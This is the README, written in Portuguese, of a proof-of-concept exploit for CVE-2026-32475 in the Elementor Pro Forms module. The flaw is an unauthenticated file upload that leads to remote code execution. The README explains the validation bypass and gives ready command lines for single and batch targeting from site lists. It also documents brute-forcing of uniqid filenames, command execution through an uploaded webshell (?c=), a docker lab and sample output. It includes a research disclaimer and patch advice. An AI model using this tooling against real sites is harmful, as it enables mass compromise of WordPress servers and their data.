
Prova de conceito de exploit para CVE-2026-32475, um upload arbitrário de arquivos não autenticado no Elementor Pro que leva à execução remota de código. Inclui descoberta automatizada, upload e execução de comandos com limpeza.
PoC para CVE-2026-32475 (CVSS 9.0 Crítico, CWE-434): um upload arbitrário de arquivo não autenticado no módulo de Formulários do Elementor Pro que leva à execução remota de código. Corrigido no Elementor Pro 4.2.2 (19/08/2026). Reportado por Tin Pham (TF1T) por meio do programa de Bug Bounty da Patchstack.
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
Esta prova de conceito é fornecida apenas para pesquisa de segurança autorizada, educação e testes defensivos.
O campo de Upload de Arquivo dos formulários do Elementor Pro processa as entradas enviadas em dois loops separados com semânticas diferentes (modules/forms/fields/upload.php):
// validation()
foreach ( $files[$id] as $index => $file ) {
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // <-- aborta TODO o método
}
// is_file_type_valid() ... // nunca é alcançado para a entrada #2
}
// process_field()
foreach ( $files[$id] as $index => $file ) {
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // <-- pula apenas ESTA entrada
}
$filename = uniqid() . '.' . $file_extension; // extensão controlada pelo atacante
move_uploaded_file( $file['tmp_name'], $new_file );
}
Enviar duas partes de arquivo para o mesmo campo de upload — uma primeira parte vazia (filename="" → UPLOAD_ERR_NO_FILE) seguida pelo payload .php — faz com que validation() retorne antes que a lista de bloqueio de extensões veja o payload, enquanto process_field() ainda o move para wp-content/uploads/elementor/forms/<uniqid()>.php, um diretório web público. Solicitar essa URL diretamente = execução remota de código.
O upload é tratado por POST /wp-admin/admin-ajax.php (action=elementor_pro_forms_send_form) sem autenticação e sem nonce. O post_id, form_id e o nome do campo de upload são visíveis no HTML da página pública, portanto todo o ataque é não autenticado.
Alvo:
Atacante:
Alvo único (descobre automaticamente a página do formulário via sitemap/página inicial):
python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup
Página de formulário explícita:
python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup
Modo lote (sites.txt: um site por linha — base_url ou base_url page_url):
python script.py --list sites.txt --command "id" --cleanup --out results.json
Formato de lista JSON:
[{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]
Executar um comando em um shell já enviado:
python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/<name>.php --command "id"
| Flag | Padrão | Significado |
|---|---|---|
--url | - | URL base do alvo único |
--list | - | arquivo de lista do modo lote |
--page-url | --url | página que contém o formulário |
--command | id; hostname; uname -a | comando a ser executado através do shell |
--cleanup | desativado | auto-excluir o webshell após o teste |
--field k=v | - | substituir um campo de formulário preenchido automaticamente (repetível) |
--tail | 0.3 | segundos antes do tempo estimado de upload para varredura fina |
--step-fine | 1 | passo em microssegundos da varredura fina |
--full-second | desativado | forçar bruta o segundo completo do uniqid (supera a dessincronização de relógio) |
--attempts | 1 | tentativas de upload+varredura (novo nome de arquivo aleatório a cada vez) |
--max-probes | 600000 | orçamento de solicitações de varredura por tentativa |
--workers | 50 | threads paralelas de varredura |
--insecure | desativado | ignorar erros de TLS (alvos com certificado autoassinado) |
--out file.json | - | gravar o relatório como JSON |
post_id, form_id, o nome do campo de upload e todos os outros campos do formulário; preenche automaticamente todos os campos com valores plausíveis para que os campos obrigatórios passem na validação (substitua com --field).admin-ajax.php. Observação: success:false com um objeto errors vazio ainda é tratado como enviado, porque a ação padrão de Email lança um erro após a movimentação do arquivo quando wp_mail() falha. Apenas uma rejeição do próprio campo de upload (file type is not allowed) conta como bloqueado.uniqid() = 8 hex segundos + 5 hex microssegundos. Os segundos vêm do cabeçalho Date da resposta; a fração de sub-segundo é estimada a partir de (t1 - date_epoch) % 1 (precisa quando os relógios do atacante e do servidor estão próximos). Um prober keep-alive (~30x mais rápido que uma solicitação por conexão) varre a janela de movimentação em resolução de microssegundos; --full-second força bruta o segundo inteiro quando os relógios estão dessincronizados.GET <shell>?c=<command> executa o comando; --cleanup exclui o shell via ?x=1.| Status | Significado |
|---|---|
vulnerable | shell enviado e comando executado — aplique o patch agora |
blocked | campo de upload rejeitado (corrigido na 4.2.2+, campo obrigatório, WAF, captcha) |
uploaded_no_exec | arquivo enviado, mas nome não recuperado (tente novamente com --full-second) |
no_form | nenhum formulário vulnerável encontrado no alvo |
error | erro de conexão/rede |
docker-compose.yml + setup_form_page.php reproduzem o alvo vulnerável:
docker compose up -d
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! [email protected]
docker compose run --rm wpcli wp plugin install elementor --activate
# coloque seu elementor-pro.zip obtido legalmente (<= 4.2.1) no diretório do projeto e então:
docker compose exec wordpress bash -c "cd wp-content/plugins && unzip -o /var/www/html/elementor-pro.zip"
docker compose run --rm wpcli wp plugin activate elementor-pro
docker cp setup_form_page.php "$(docker compose ps -q wordpress)":/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
python script.py --url http://localhost:8090 --command "id; hostname" --cleanup
[+] Shell localizado (tentativa 1, estágio=fine tail): http://localhost:8090/wp-content/uploads/elementor/forms/6a90b4fee658e.php
[*] Executando comando: uname -a
\nPWN\nLinux fcc317d0e442 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
[*] Limpando (excluindo webshell)...
rm
Atualize o Elementor Pro para 4.2.2+. A atualização fecha a brecha, mas não remove shells que já foram enviados — audite wp-content/uploads/elementor/forms/ em busca de arquivos .php soltos.
Apenas para pesquisa de segurança autorizada e uso em laboratório.